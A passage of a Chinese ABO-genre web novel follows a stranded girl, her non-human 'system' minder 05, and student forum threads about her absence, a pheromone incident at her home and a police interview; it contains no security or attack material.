蛋黄酱呀酱:同意楼上,什么时候败犬还能上桌吃饭了。
……
684L
一点点点点:卡,出局的人加上那个告密蠢货就更好了(期待)(苍蝇搓手)
25. 第 25 章
我没有等他回答就离开了医务室。
离开丝珮叶的路上似乎还碰见了几个还算是熟悉的同学。
我没有像往常一样眼神避开、路线躲避绕远路,而是直接迎上、擦肩而过走近路。
今天发生的一切都已经超出我的舒适范围了,就像是设定好的机器被外界恶意破坏一样,我的程序无法正确运转。
曾经有个医生诊断,说我有点情绪障碍,那时我情绪良好的接受并选择置之不理,家人与朋友的关爱铸成了一道蜜糖似的围墙,我安心地呆在墙内,仰望属于自己的一方天地。
我在异世界中似乎才理解了医生意味深长的眼神。
走在街上,迎着风,我步子迈的大、走的快,心中积压的情绪让我想要大声尖叫、哭闹,或像个熊孩子一样在地上打滚、耍赖。
可这里已经没有我信赖的人了。
我只能走,不停地走。
我必须要冷静地、毫无破绽地走回那个系统安排的房子。
系统05的声音在我脑海中不断出现,我没来由地想起半年前他的毫无感情的机械男音,虽然如今声色变化,但本质仍是一种机械设备。
我单方面屏蔽了系统05的聒噪话语,我开始讨厌他了。
*
系统05喋喋不休许久后才停下,我像个死尸般安详地躺在床上,被子拉至头顶,世界静谧。
黄昏的红光穿过窗户,直直射进室内,雪白的床被泼上了血红染料,薄被挡不住光照,我的眼睛发酸发胀发疼。
像是被洒进了碎玻璃。
“叩叩。”房间门被敲击两下,伴随着低声的询问。
“小姐,您还好吗?”
“小姐,请问我可以进来吗?”
“小姐,我……”
我一声不吭,连“滚”字都没有力气说了,近乎绝望地闭了闭眼,深刻怀疑系统05就是个人工智障。
我不听他在我脑中说话,难道他换成人身我就想理他吗?
好烦啊。
好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦……
三分钟后,我摸索床头的花瓶,用力扔了出去。
在清脆的破裂声中,玻璃碎了一地,艳丽的明黄色的假向日葵躺在地上,毫无生机。
声音终于停了。
我阖上双眸。
.
【已经过去两天了……】
1L
完美可可:她还没来学校!!!!!!有没有知情人说说这是怎么回事啊,现在lz一整个火烧火燎抓耳挠腮心急如焚状态啊感觉上学都没劲了呜呜呜呜呜呜呜
2L
成蝶玉舞:在此前几天论坛好像有一场大规模删帖事件……跟那个视频有关的贴都被删了……所以这事跟学生会有关吗?
(下图为丝珮叶学院学生内部论坛版规第一条:学生论坛由学生会全权管理,删帖、禁言、除号等操作最终解释权归学生会享有)
3L
小小猫猫猫:无语了,都是那群人的错,没事拍什么照片录什么相啊。
4L
看见我请提醒我去搞学习:问过A班的朋友,听他们的班主任说也没请假,父母电话也都打不通,现在好像准备派几个人直
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接探访她家去了。
5L
ghosttt回复成蝶玉舞:学生论坛都是学生会那帮人管的,但那次不是学生会动手。
6L
ghosttt:据小道消息说,似乎是白某人被现场抓包,现场操作赎罪搞的。(因涉及敏感词,此楼已屏蔽)
7L
ghosttt:据小道消息说,似乎是bai某人被现场抓包,现场操作赎罪搞的。(因涉及敏感词,此楼已屏蔽)
8L
ghosttt:似乎是b某被现场zhuabao,现场操作shuzui搞的。(因涉及敏感词,此楼已屏蔽)
9L
ghosttt:草你爸的sb我靠,这tm都屏蔽,论坛你家开的啊脑残。(因涉及污秽用语,此楼已屏蔽,发布人ghosttt扣除信誉分20)
10L
ghosttt:c气笑了,白洛翊每天这么高强度盯论坛累不累啊sb(因涉及污秽用语以及人身攻击,此楼已屏蔽,发布人ghosttt禁言72小时)
11L
阳光开朗大女孩:中间五楼怎么没了???提到了什么不该提的(好奇)
12L
可恶:没人关心罪魁祸首是谁吗?看了好几个贴了,怎么没人扒出那个视频拍摄者啊。
……
56L
谁踩了我的蟑螂:别离49小时56分36秒了,想把蟑螂塞进那些让她不开心的人的嘴巴里。
57L
你什么时候才能看我一眼:人在A班,指派的人快要出发了。
26. 第 26 章
好痛。
好痛好痛好痛。
喉咙像是被双手用力撕扯,身体也跟着被撕裂开来。
热得冒汗又冷得战栗。
要死了吗?
会死吗?
门口传来一阵阵撞击声。
心脏好像已经跳出体外,喘不过气来,我仿佛听到了血液流动的声音。
恍惚间,我的额头贴上了一个温热的物体,我的耳朵听见了强健有力的心跳声,鼻尖萦绕着青柠檬的酸涩。
我的身体在求生,它难以抗拒这个能够缓解疼痛的拥抱。
我抱住他,喘息着凑近。
*
鱼竹雨扶了扶眼镜,不着痕迹地扫了一眼侧后方跟着的几人。
她朝宿斯漾弯了弯唇角:“走吧。”
整整两日,未见人影,亦无法联系到监护人后,A班负责人决定将这事交给校委会处理,但那时正好鱼竹雨去办公区交资料。
短发稍稍掠过肩头,看似呆板的黑框眼镜下是一双温和又聪颖的眼睛,亮亮的,润润的,她似乎只要站在那里就代表着安全、安定、安心。
鱼竹雨说服了负责人将这事交给她,出于安全考虑,负责人建议还带一名alpha一同过去。当然斯珮叶里的安保也会全程监视。
鱼竹雨从善如流地接受了,她的眼睛从姓名表滑过,无视了背后炽热的、焦虑的视线,对着似是若有若无挡在身前、眼神饱含威胁的人,若无其事地弯唇,漫不经心地掠过,对那位紧张的女alpha说:“宿斯漾,我记得上次研学就是你和她组队,这次老师让我们一起去看看她,等会就走。”
“好。”女alpha立即回答。
在出发之前,A班负责人就已经把个人资料发给鱼竹雨了。
虽说作为班长,她早已对此熟记于心,但有宿斯漾在,她还是又默记了一遍。
穿过花园喷泉,鱼竹雨和宿斯漾走出电梯,按下门铃。
不过短短30秒,大门打开。
一个青年,衣袖裤腿皆有磨损之处,手指有划痕,头发较为凌乱。
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一个称得上是俊美的男人,年纪看样子在25到30的男人。
鱼竹雨脑中闪过一张白纸黑字的表格,独生子女、父母常年在外出差、一人居住……
她蓦然又记起男人的脸,她曾见过他,在某日放学时的下午,笔直站立着,无言而专注地等待着云卿。
她总是挂着笑颜的脸冷了下来。
而比她反应更大的是宿斯漾,alpha总是对同类的信息素格外敏感,深入骨髓的厌恶,宿斯漾在门打开的瞬间,猛烈的青柠檬的酸涩快把她淹没,有些反胃。
她拧紧眉头,推开眼前的男人,朝着信息素最浓的房间猛冲,鱼竹雨瞥了一眼男人的后颈,跟着快步走过去。
里面的一个房间,房间门明显已被人用蛮力撞破,地板上全是碎屑。
鱼竹雨微微皱眉,宿斯漾怔在原地。
最里面一男一女相拥而卧,女孩安静地睡着了。
姿态异常亲密。
紧接着,后一趟电梯里的人在信息素的冲击下也闯了进来。
27. 系统【机械有声】
系统的职责是什么?
完成任务。
05从产生之日起,“完成任务”的绝对指令便深藏于它的初始代码之中。
因时空管理局出现差池,它第一次接到需要与人类相处的任务。
「任务名称:abo世界维护中
任务详情:维持abo世界稳定,排除外来错误,减轻负面影响
任务对象:云卿、宋杭等
执行系统:05」
这次任务05选择了影响最小的方式,先帮助这些外来者融入abo世界,等不久时空隧道修复好后再送他们回去。
本是最佳方案,可不料经过不断检测,发现时空修复难度寥寥无期,外来者在这个世界呆的时间延长,来自不同世界的人会产生异于此世界的磁场能量,干扰整个世界的运行。
并且由于世界观的不同,外来者们会对原住民产生影响,干扰正常世界秩序。
上次05系统特意化作人身去处理的俱乐部事件就是个例子,他需打造出abo世界观下的beta身份,去铲除来自未来赛博朋克世界观下的、较大规模传播了异文化的人类宋航。
虽因与人类相处经验不够而导致被暗算,但最后05还是完成任务处理了宋航。
同样作为任务对象的人类云卿,那个单纯渴望着回家的人类女孩,最终结局会和宋航一样吗?
05不知道。
精通计算的机器回避了仅用0.1秒就能计算出几率的问题。
不知道为何在铲除一个来自修真世界的人类后,下意识走到了丝珮叶学院门口,像许多接送学生放学的家长、司机一样翘首以盼。
下意识?
一个机器也会有意识吗?
一段程序、一段代码——我也会有意识吗?
05不清楚。
他只是觉得自己使用人类身体的频率越来越高了。
直到那时。
05想,那时的场景一定会永远保存在他的数据库中的。
女孩一整天的兴致都不高,像是焉了的菜苗。
持续不断的打击把她撞得摇摇欲坠,心中的气怒、烦躁、不安从她的双眼泄露,从她的唇齿流出。
05想,他得做些什么。
可要做什么呢?
这是一个能把系统干出病毒的难题。
最后他从世界数据库里翻出一堆书。
“书是人类进步的阶梯。”
系统想,他有了一个人身,四舍五入一下也算是个人了。
于是他找啊找啊。
《如何与孩子沟通?耐心最重要!》
《青春期的孩子,家长应当这样做》
《十五句话,安慰好难受的她》
……
05迅速阅览完毕。
带着迫切的想要安抚好她的心情开始实践。
结果不出所料,吃了闭门羹。
被无视,05不在意;被嘲讽,05不在意;甚至被砸东西,05也不往系统数据库里去。
他很有耐心地在门口等待了一天一夜,没有或者说不敢敲门,就直直地专注地站在门口,安静地听
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着里面的动静。
等到第二天下午,05有点焦虑了,倒不是等不住,而是他开始担心了。
没有与重要高磁场能量人类接触,女孩会怎样?
05离开了房子,他到了小区门口,看见了徘徊于此的白洛翊。
少年脸上是无措是恐慌,是那种想进去但又不敢怕惹了人家更不高兴的胆怯。
05走到他面前,拿出了经过多次任务训练、成功拿下好几个外来者的话术。
当然,最重要的是他提到了云卿,少年即便是有多么怀疑敌视也都不管不顾了,跟着他进去。
他们合力撞破了房门。
白洛翊看到躺在床上似病入膏肓的云卿,吓得急切地要叫救护车,抱她下去。
05阻止了他。
即使是一个alpha,但少年还是抵不过成熟男人的肌肉力量,05压制白洛翊的动作。
少年急得反抗,青筋暴起,双眼泛红。
05动作粗暴的把少年的身体贴近少女,随后又缓慢地帮助女孩摆正姿势,让她不再那么难受。
“你别动了,这样她会舒服点。”05严肃认真地说。
白洛翊挣扎动作缓慢下来,他稍低头,感受女孩的状态,看到确实有了点好转后,才放下心来。
眼中虽有十分茫然,但也全盘照做。
再后来,几位同班同学来家中探访,05才记起有关家长的些许漏洞,但这是小问题,或许对现在情形更有帮助,05打开门,让他们都进来了。
更多人的话,会好的快些吧。
28. 第 28 章
若说先前房间内的信息素是条涓涓流淌的溪水,是徐徐摇曳的薄雾,那么现在就是深黑色横冲直撞奔涌的海水,是刺刀,是利刃,似乎下一秒便是刀光剑影,气氛剑拔弩张。
不同气味的信息素勾缠、压制、敌对,几乎快要笼罩整个房间。
——有一小片却仍是轻柔的荡漾的薄纱。
那里,女孩仍在安稳地沉睡着。
如野兽般粗重的呼吸声、紧握的拳头一抹红蜿蜒滴落。
“啪嗒”“啪嗒”。
可依旧没有人动作。
alpha对同类的信息素生理性的厌恶,易感期的alpha极大可能激发出其他alpha的假性易感期。
这时他们是暴虐的、无理智的,是真正的野兽。
走!
快跑。
远离这里。
理性对他们发出警告。
可双腿被黏住,眼睛被钉死,看着熟睡的被人搂在怀中的女孩。
情感不允许他们退缩。
不断放大的兽性驱使着他们向前扑去,一把扯开白洛翊,用尖利的牙齿刺入他的脖颈,血液飞溅直至死亡。
残留的人性阻碍了他们粗鲁的、野蛮的、可能会伤害到她的举动,让他们小心翼翼地停留在原地,细细观察等待时机。
beta对信息素的感知力是很低的,即便这样,鱼竹雨也能明确地察觉出空气中无声的厮杀,压迫感愈发愈重。
她沉着脸偏头向后方看去。
——看着人模狗样的男人站在门外,镇定自若地观看着这一切,眼中似有满意之色。
来自alpha信息素越来越强烈了,不同信息素的浓度过高很快引起警报。
*
好像睡了很长的一觉。
我醒来,情绪平稳了许多,身体的疼痛感消失了。
我环顾卧室,忽略了心底传来的不适奇怪的感觉,推开卧室门,05腰间围了个围裙,餐桌上是热气腾腾香味扑鼻的美食。
“你做的?”我脚步一顿。
“是的,小姐。”
“你会做饭?”我质疑,语气中满是不可置信。
“这并不困难。”05解开围裙,“对我来说。”
系统的长相是冷峻的,表情很少,说话时也一板一眼,枯燥得像是暮秋的下雨天。
而此刻,我却莫名觉得他这话有点自夸自傲的意思。我完全不会做饭。
于是我沉默地注视了他三秒,故意阴阳怪气地说:“哇,系统先生,你真的好厉害呀。”
05:“嗯。”
他坦然地点点头,站着不动,看着我,似乎还等待着什么夸奖的话。
我:“……”
我的错,不应该对AI搞潜台词的。
不过,不得不说,饭菜是真的好吃。
吃着吃着,我随口一问:“你跟我班主任请了几天假啊?”
“……没请。”
?!
我的沉默震耳欲聋。
颤抖着手打开关机了三天的手机,消息的提示音响了整整五分钟。
未接来电286个,列表上好些99+的消息栏,下滑滑不到头。
我深呼一口气,迅速瞥了一眼那些亲热熟稔的话语,掠过这些膨胀的、泛滥的消息,找到班主任的电话,拨出。
“喂,云卿,感冒好点了吗?”班主任温温柔柔的,没有出现我脑海中预想的质问、气怒等画面。
“啊,嗯,我好了。”我顺着她的话说,疑惑地看向系统。
“以后记得要提前请假,你这突然消失两天,家长电话也打不通,老师还差点报警了呢。”
“不好意思老师,我下次会注意的。”我看着05的目光含怒。
我跟班主任说今天下午就去,也不是多喜欢上学吧,主要是我这几天kpi没做,准备下午补上。
至于,为什么三天没搞kpi,我现在身体没出问题,我想,应该是系统05出手了。
系统这种事物,一般都会有救自己宿主一命的能量吧。
去学校前,我先回复了一些,我能够回复出来的消息。
我忽略了每日不断的早安、晚安。
【喜欢青梅的O姜念屿:卿卿,你今天怎么没来丝珮叶呀?是有什么事情吗?】
【喜欢青梅的O姜念屿:什么事都可以跟我讲哦,我会帮你哒!】
【喜欢青梅的O姜念屿:文学史的江老师在查到了诶。】
【喜欢青梅的O姜念屿:我帮你糊弄过去了哦。】
【喜欢青梅的O姜念屿:猫咪求夸夸.jpg】
【喜欢青梅的O姜念屿:第二天了诶,你还好吗,卿卿】
【喜欢青梅的O姜念屿:我放学后,想去看看你,可以吗?】
【喜欢青梅的O姜念屿:不会打扰你的。】
【喜欢青梅的O姜念屿:真的。】
太多了,我扫得很快。
【我很担心你。】
【整整两天了。】
【我问了班长,我问了班主任,我问了负责人,他们都说不清楚,一点都不关心你。】
【我好难受。】
【想你。】
【好想好想。】
【我去了哦。】
【你不要生气。】
【我问了你的。】
【可是你没有回我。】
【应该是没看见吧,不,肯定是,我不会怪你的。】
【我好担心你。】
……
最后一条消息发出的时间是上午8:50点。
我引用了上面一条消息“我帮你糊弄过去了哦
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。”回复“谢谢。”
发出去前,瞄了眼满屏的消息,又在后面加了一朵玫瑰花。
【椰子糖很好吃-A宿斯漾:今天不来吗?小组双人任务我只想和你一起做……】
【椰子糖很好吃-A宿斯漾:是生病了吗?要好好休息哦】
【椰子糖很好吃-A宿斯漾:我可以来照顾你】
【椰子糖很好吃-A宿斯漾:我很会照顾人的】
【椰子糖很好吃-A宿斯漾:我每月都去福利院、养老院当志愿者】
【椰子糖很好吃-A宿斯漾:呜呜,卿卿怎么不回我?】
【唱独角戏,真的会让一个女人觉得累的(哭泣)(哭泣)。】
【黑白熊猫嚎啕大哭表情包】
【第二天了】
【你是不是出什么事了】
【我想去找你】
【我去了】
时间今天上午8:30
欸?
看到这条我愣了一下,我11:47醒来,现在是12:49,我问系统:“早上是有人来过吗?”
系统反应了一秒:“是有人,小姐的同学,进来了,你还在睡觉,同学没多久就走了。”
我点点头,没多在意,引用“唱独角戏,真的会让一个女人觉得累的(哭泣)(哭泣)。”笑着回复“哈哈哈哈我之前手机关机了”继续翻看消息。
【奇怪的A-白洛翊:早上好】
【奇怪的A-白洛翊:那件事对不起】
【奇怪的A-白洛翊:原谅我好吗】
【你今天没来,是因为那件事吗?】
【对不起,真的很抱歉,让你不开心了】
【早上好】
【你今天又没来……】
【对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起】
【都是我的错,你骂我吧】
【骂不解气,打我也是完全没有意见的】
【我心甘情愿】
【扯我头发、删我巴掌、掐我脖子都可以的】
【更过分一点也是完全接受的,理理我吧】
【求求你了】
【理理我吧】
【我不奢望你的原谅了】
【回我一下吧】——昨天下午2:30
???
我没回。
我怕我回了他会变得更奇怪。
29. 第 29 章
【她来了】
1L
圆是云朵的:1:32走进校门,中间在K24雕塑前停留了一分钟,看光影变幻的魔幻镜子两分钟,1:55正式踏进教学楼,2:24进入教室。
2L
玉咚咚咚咚:来了我挺开心的……不过,楼主你记录这么仔细真的很变态啊!
3L
希望永远在:wc,你tm是不是在跟踪她啊
4L
圆是云朵的:她穿着校服,白鞋,单肩背着个纯黑的书包。
5L
圆是云朵的:虽然穿了校服外套,但因为只系了一个扣子,能看出她领结有点歪了,并且扣子也扣错了。
白鞋不是很干净,上面沾了点东西像是木头碎屑。
6L
误佳期:???所以你想说明什么??每个人生活中总是会发生一些无伤大雅的小失误。
7L
圆是云朵的:通过观察,运用数字计算,然后再比对之前的她,于是可以轻而易举地发现她的步伐比以往慢了很多。
而时不时的驻足停留,又何尝不是一种逃避、厌恶这里的下意识表现呢?
8L
圆是云朵的:她不是一个粗心大意、不拘小节的人,相反,她很注重细节、在意仪容仪表。
一个时不时检查自己装束的人,又怎么可能变得如此随意呢?
9L
udbnsjxjsnxjjs:所以……?
10L
圆是云朵的:她来上学了,并不代表那件事过去了。
11L
圆是云朵的:我之前以为不过是视频的校内流传,影响小,对她本人的伤害也没有那么大。消失两日的原因不大可能是因为这个。
12L
圆是云朵的:她讨厌这里,她讨厌丝珮叶,她讨厌学校。
她非常厌恶被别人擅自拍照、录像,即使是出自喜欢。
13L
圆是云朵的:而她最讨厌的也许就是被注视。
不论是小心翼翼地打量、窥探,还是大大方方地对视、凝望。
不论是善意的、喜爱的目光,还是恶意的、憎恨的眼神。
不论alpha、beta、omega,不论男女。
……
78L
暮色:真的假的啊
……
111L
可嘻嘻:呃,lz乱讲的吧,走路慢了大概率是身体还没好全,她就是因为生病才请假的,她班主任亲口说的。还有,你是怎么从走路慢了、变得粗心了推出她讨厌学校的,凡上过学的,学生没几个真心热爱读书吧?这点先不提,你从她讨厌
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学校到讨厌注视,这个逻辑是不是也太跳了?几乎全是主观臆断啊!
……
197L
bjhbjjhbb:她确实很喜欢看云看天看风景,很少看人,在学校里,她也很少笑。
……
256L
查无此人:她不喜欢的,lz你不是狠狠地搞了一遍吗?你不跟踪窥探,哪来的结论?明明知道她不喜欢。。。lz你也不是什么好东西,跟那些偷拍偷摄的一路货色。
……
340
巧克酥我也喜欢吃呀:呜呜呜突然感觉好难过。
……
贴又爆了。
圆是云朵的用手按了按太阳穴,房内是昏暗的,唯一的一点亮是电脑屏幕的光,撒在他的瘦削的脸上,眼下青黑,丑陋得像只个恶鬼。
他动作停顿了好几秒,没有敲下笔记本上用红笔圈下来的几句话“相较于男性,女性更容易得到她的好感”
“她只有认为自己处于绝对上位时,才会情愿的、主动的、大胆的看,唯有这时才可能获得真正意义上的注视与喜欢”
“她习惯了被动,可他人的主动会让她更加被动,更加逃避,她会觉得自己在这段关系中是下位者”
修长有力的手在纸上写下如刀刻斧凿般的一行字
“我只能是下位者”
30. 第 30 章
【!!!她和白睡在一张床上的。去看她的人全都进医院了。alpha们进入假性易感期。beta受到强烈信息素压迫需要治疗。omega被诱导进入假性发情期了。】
1L
热闹不睡我不睡:看半天了,这个论坛里竟然没人讨论?
2L
冰城火桔酒:!她和白?
3L
夜莺今晚不在家:cao
4L
小鱼今天吃什么:啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
5L
元素而已:世界疯了……
6L
可可恶思:热闹老兄,又是你……不过这……假的吧?
7L
玩偶的家:不信。我不信!!!白这蠢牛,怎么可能!!?????
8L
惜惜惜:那天去的不就两个人吗?鱼和宿,一个A一个B的哪来的O???
9L
热闹不睡我不睡回复惜惜惜:呃……偷跟上去的不知道有多少
10L
wohaoxihuanni:这个世界,终于颠了……
11L
苍樊:睡?!
12L
没你可爱:???白那个jian人
13L
白川川菜:楼主怎么知道的?
14L
呀呀呀呀呀:lz怎么知道的?是不是也偷偷跟上去了。
15L
热闹不睡我不睡回复呀呀呀呀呀:有人脉。我倒是想跟上去看看,但今天卦象显示极不宜出门、探病、寻亲。
16L
songlegedan:哪家医院?
17L
南宫南宫:哪家医院?
18L
十斤雨雨雨:哪家医院?
19L
我不是农人:哪家医院?
20
可恶:lz别装死,哪家医院?,我家正好搞医疗的,要是让我发现你tm造谣,你不得hs
……
45L
中了爱情密钥的企鹅岛:宿和鱼确实没回学校,邢也不知道什么时候不见了,现在A班教室里空荡荡了,只有十几人了……而白好像从前几天开始就没来学校了。。。。。。。
46L
恶毒的草莓冰淇淋:嗯……lz你不觉得奇怪吗?如果按你说的,宿都受到信息素压迫冲击都进医院了,那她也是beta怎么没事?下午就来学校了……你是想赞美她身体素质好意志力坚强吗?
47L
每天都在睡觉:她今天脸色还挺好的耶,白里透红的,吸溜吸溜嘿嘿,不自觉盯她看了好久
48L
恶毒的草莓冰淇淋回复每天都在睡觉:有病吧?没事
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盯她看干嘛?没看今天那个爆贴吗?
49L
热闹不睡我不睡回复恶毒的草莓冰淇淋:我也觉得这奇怪的很。
50L
热闹不睡我不睡回复可恶:医院名告诉你们干嘛?方便你们骚扰病号吗?嗤
……
78L
完了完了:又是白这个B,这神经不会之后会以正宫自居吧。
79L
见过面似雪:她和白肯定什么都没做,不然就不是诱|导进入发情期、易感期这么简单了。以咱人脉,隔了几个小时,才传到论坛,或者说,这事能拿到论坛上近似与光明正大地讲,说明肯定没发生那种较大的恶性事件,不然早封锁消息了。
80L
玩具总动缘:拍摄那事好像就跟白有关……
81L
弯弯的月亮回复玩具总动缘:看不惯,倒也不必造谣哈,罪魁祸首早就已经找到了,请罪书、道歉视频早就在她没来那几天搞好了。
82L
弯弯的月亮回复玩具总动缘:白连传播者都算不上……搞笑又不幸的是,他第一次点来那个视频的时候,就被当事人抓包了。不过,现在嘛,倒是不知道说这小子是不幸还是幸运了,唉,傻人有傻福啊……
……
503L
中了爱情密钥的企鹅岛:我去,刚刚两个警察突然进来,把她给带走了!
31. 第 31 章
熟悉的灯光,熟悉的铁制椅,熟悉的小房间。
已经不是第一次来警局了,这流程我也早已轻车熟路。
毕竟,今时不同往日,来到异世界七个月,加上这次,我已经进警局三次了。
其中两次都是因为那个系统。
警官照例问了我一些基础问题。
我如实回答。
又问了我“凌吾是你什么人?”“他一直和你住一起?”……
我瞎编乱造。
这事如实回答不得。
可我真得不擅长撒谎,尤其是在这种地方——经受了十几年政治思想品德教育的我,战战兢兢地说着谎话——前言不搭后语、逻辑十分混乱的那种。
最后,我摆烂了。
“对,我和他就是朋友,朋友难道不能住一起吗?而且他是我很亲密的朋友,只是偶尔过夜而已,这算不得什么问题吧?他人还行,拥抱?只是拥抱而已啊,现在都什么时代了,朋友间还不可以拥抱吗?而且我和他都是beta啊。睡一起?睡在一张床上而已,这根本……”
“?”我猛得停下。
“警官先生,我什么时候说过我和他睡在一起了?”
审讯我的警官坐在我正对面,他瞳色很深,盯着我的眼睛,像是不放过任何细微神情,找出微妙的、不对劲的地方一样,冷静淡定得像是个静听风声、等待猎物上钩的猎人。
我疑惑地皱眉,只觉得奇怪。
“哦,是我听错了。”他停顿几秒,随意揭过。
我这次没有忽视心中的奇怪感。
我抬眼,依着直觉,第一次认真地、近乎凝重地看着对面的警官。
“警官先生,我总觉得您看起来很眼熟,我们以前见过吗?”
警官笑笑,“这应该是我们第四次见面了吧,云卿同学。”
.
昏暗的房间,一整块墙壁上的投影,少年聚精会神地看着。
瘦削的脸上嘴唇苍白,额头前较长的刘海遮挡着眼睛,他神经质地抓了抓头发,用力眨眨干涩的眼。
投影上同样是一个房间,灯光明亮,里面坐着三个人——一B二A,两个警察和她。小房间有一面墙又都是镜子,所以在仅有一个摄像头能联通的情况下,也能轻易地观察。
“姓名?”
“云卿。”
“性别?”
“beta。”
“年龄?”
“19。”
“你有父母在y国是吗?”
“嗯。”
“这个月他们给你汇了一万块?”
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“对。”
“除此之外你们平时有联系吗?或者还有亲人在国内吗?”
“没有、没有。”
……
少年皱起眉头,他觉得奇怪,这问得太繁琐了。
投影中的女孩平静而简短地回答。
直到——
“凌吾跟你是什么关系?”
女孩默了几秒,大屏上清晰可见的——她的手指蜷缩了下,犹豫着开口:“他是我的朋友。”
警官盯着女孩:“朋友和你住一起?”
——很突然,投影黑了。
少年心脏跳得很快,一种不好的预感笼罩在他的心头,他好像忽略了某件事情或某个事物。
他拿起手机,还没等他打开拨号,一个电话率先打进来。
“刚刚那边发现了,不过放心,痕迹我抹除了。”声音停顿了一下,“她……怎么样了?”
“没什么事,看起来只是被某人牵扯了。”
“谁?”
“那天带你上去的男人——凌吾。”
少年挂断电话,沉思几秒,拨出另一个号码,滴了一声,很快接通,那头的女声柔软而平稳,“小可?”
“说了别这么喊我。”少年眼中无奈,身上的那股阴郁气息减轻了不少,“姐姐。”
32. 第 32 章
我有点脸盲。再加上社恐的原因,十分不习惯盯着别人的脸看,遇上陌生人,大多时候一扫而过就垂下眼看向别处,生怕和别人对视上。
这也就导致了碰上同一个警官四次,我都没意识到,更没认出来。
那句疑惑的发问也根本不是脑子记起来或是觉得警官眼熟,而是潜意识驱使着我主动发问,截断上一个问题或是改变那种奇怪的气氛。
我惊讶于警官的回复,因着这答复,我在记忆中追根溯源,从能够碰上警察的场景中找寻答案,终于回忆出模模糊糊的几个片段。
“来到异世界的第二天,明亮空旷的审问室,一身黑色制服的男人坐在我对面,帽檐下是一双如野兽般锐利的眼。”
“研学迷路被困山上,获救时,在黝黑的雨夜中,救援人员面容看不真切,有一个的声音低沉,熟悉而模糊。”
……
我没在警局停留多久,出来后就直接回了学校,走进教室的那一刻,莫名教室里安静一瞬,随后又若无其事地继续着先前的谈话,声音很小。
我突然意识到教室里少了好几个人。我熟悉的好几个人都不在。
难怪看上去空荡荡的。
是班级里开展了什么活动吗?
我摸出手机,打开班级群消息,滑动几下,没看到什么有用消息。
我望向前桌——一个沉默寡言的beta男。
“原亦可。”我问他,“教室里怎么少了这么多人?”
不过三十五人的班级,少了几个在偌大教室里格外显眼。
前桌转身,他有着瘦削尖利的下颌,稍显阴郁的长刘海半遮住眼睛,每次看他的时候,我很容易联想到动漫里的那种阴湿类宅男主角,接着又想到那种前期容貌不扬,露出额头摘下眼睛后解除封印惊呆众人的情节。
我为自己天马行空感到好笑,不禁多看了几眼他的刘海和黑框眼镜。
他说:“都进医院了吧。”
“啊?”
教室里更安静了,我后知后觉地压低声音,凑近他讲话。
“出什么事了?”。
他与我同为beta,跟他比起来,我在这个班上都算得上话多,加上几次凑巧坐在一起,一来二去,大半年的时间,也逐渐熟稔了。
他沉默了五秒,我望着他,安静等待着。
“云卿,你……”他顿了顿,“桌肚里的东西看了吗?”
那是一封信,里面信纸上满满当当的字,字迹端正清晰,偶有湿润的痕迹,像是不小心滴落了水珠。
写信者表达的歉意诚挚,却没有署名。
我正准备把信纸放进信封时,身边来了一个人。
我抬头,撞进一双清冷的眼眸,浅灰色的眼,浅粉色的唇。
我认得他,隔壁班的叶曦,很有名的一个omega。锋利漂亮的样貌遗传自母亲,特立独行的个性像极了父亲。他的母亲是大名鼎鼎、享誉全球的国际巨星,父亲是开创了某个摄影流派的鬼才导演。有时候走在大街上一抬头,大厦前就是他母亲代言的广告。
不过,我认得他,不是因为这些。
那时正在上体育课,到了自由活动时间,我找到常去的偏僻阴凉地坐着,背靠大树,闭目养神。
睡了不过十几分钟,对话声入耳,我烦躁地睁眼。
“……他自小便定了娃娃亲,外地有个未婚妻,早就定了日子,三个月后订婚。”
“……我知道的,他说他不爱她,他说他会跟家里人讲——”
“去年,他把一个一个家里没权没势的omega深度标记怀孕了,怕被未婚妻家知道不好收场,想给钱了事,那个omega不同意,他便强制她流产,结果手术一结束,她就自杀了。这在圈子里都是人尽皆知的丑事。”清冽的声音、恨铁不成钢的语气打断那人辩解的话,“你脑子是不是进水了,被这种垃圾用甜言蜜语骗到了?他说什么你都信,怎么我说的话你就记不住了?”
“不是的,那个事他跟我说过,是他爸私生子想跟他争夺,陷害他,他弟弟想让联姻泡汤让他减少助力,才、才——”
那人像是快压制不住怒气了,但他仍是忍住,深吸一口气,骂道:“蠢货,先不提那事是真是假,既然联姻失败对他这么不利,那他凭什么要为了你撕毁这婚约?”
“……他说他爱我,他想跟我一辈子在一起。”半响,一句话挤出来,怯懦的声音,还带着抽噎哭腔。
我被这段对话震住了,先是惊愕后是担心,不敢动,不想发出一点声音让他们二人知道我躲在角落。我担心被发现,生怕他们觉得我是在偷听,我不想惹上不必要的麻烦。
“所以,阙任,你还是不死心?”
“我爱他,他也爱我。”仍是怯懦、轻声,说出的话却是充满了无脑无用的勇气。
“你被他标记过了吧,临时标记、深度标记什么的都做过了吧,他带套吗?你吃过避孕药吗?发情期和易感期你们都在一起度过的吗?”那人说着说着语速加快,哼笑一声,像是意识到了什么,“你不是爱他,你只是被激素控制了而已。”
我紧张得屏息,一直在心里祈求神仙保佑不要被发现。
可,就是这个时候,我
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想到手机还没静音,怕突然来个电话传来或消息提示音,于是我动作小心谨慎地抽出手机,准备开静音。
然后手机响了——我怕在树下睡熟,专门设置的铃声。
我的心死了。
我想:这时候,那个哭泣的男孩,肯定没有我难过。
他至少还有一丝希望。
说话声停了,脚步声逼近。
那双浅灰色的、带着怒意的眼睛居高临下地俯看着我。
我慢慢站起身,腿脚不知不觉坐麻了,有些难受。
但我此时顾不了那么多了,我边走近,边开口说话:“抱歉,我在你们来之前就在这里了,不是有意要听你们说话的,放心,这番话我不会说出去。”
我自认为我说的非常诚恳。
可他似乎不这么想。他的眼睛不耐烦地微眯,带着傲慢与冷漠打量着我。
“beta?”
我点点头,心中不安,胡乱猜测他是不是歧视beta。
另一个人在我手机铃声响了之后就跑了,此时我和他面对面站着,虽离的并不近,但这个手上带着抑制手环的omega带给我的压迫感丝毫不亚于alpha。
他又走近几步,我忍着没后退。
在我和他的脸快要贴在一起的时候,我忍不住了,下意识脑袋带着身子后仰,双腿后退。
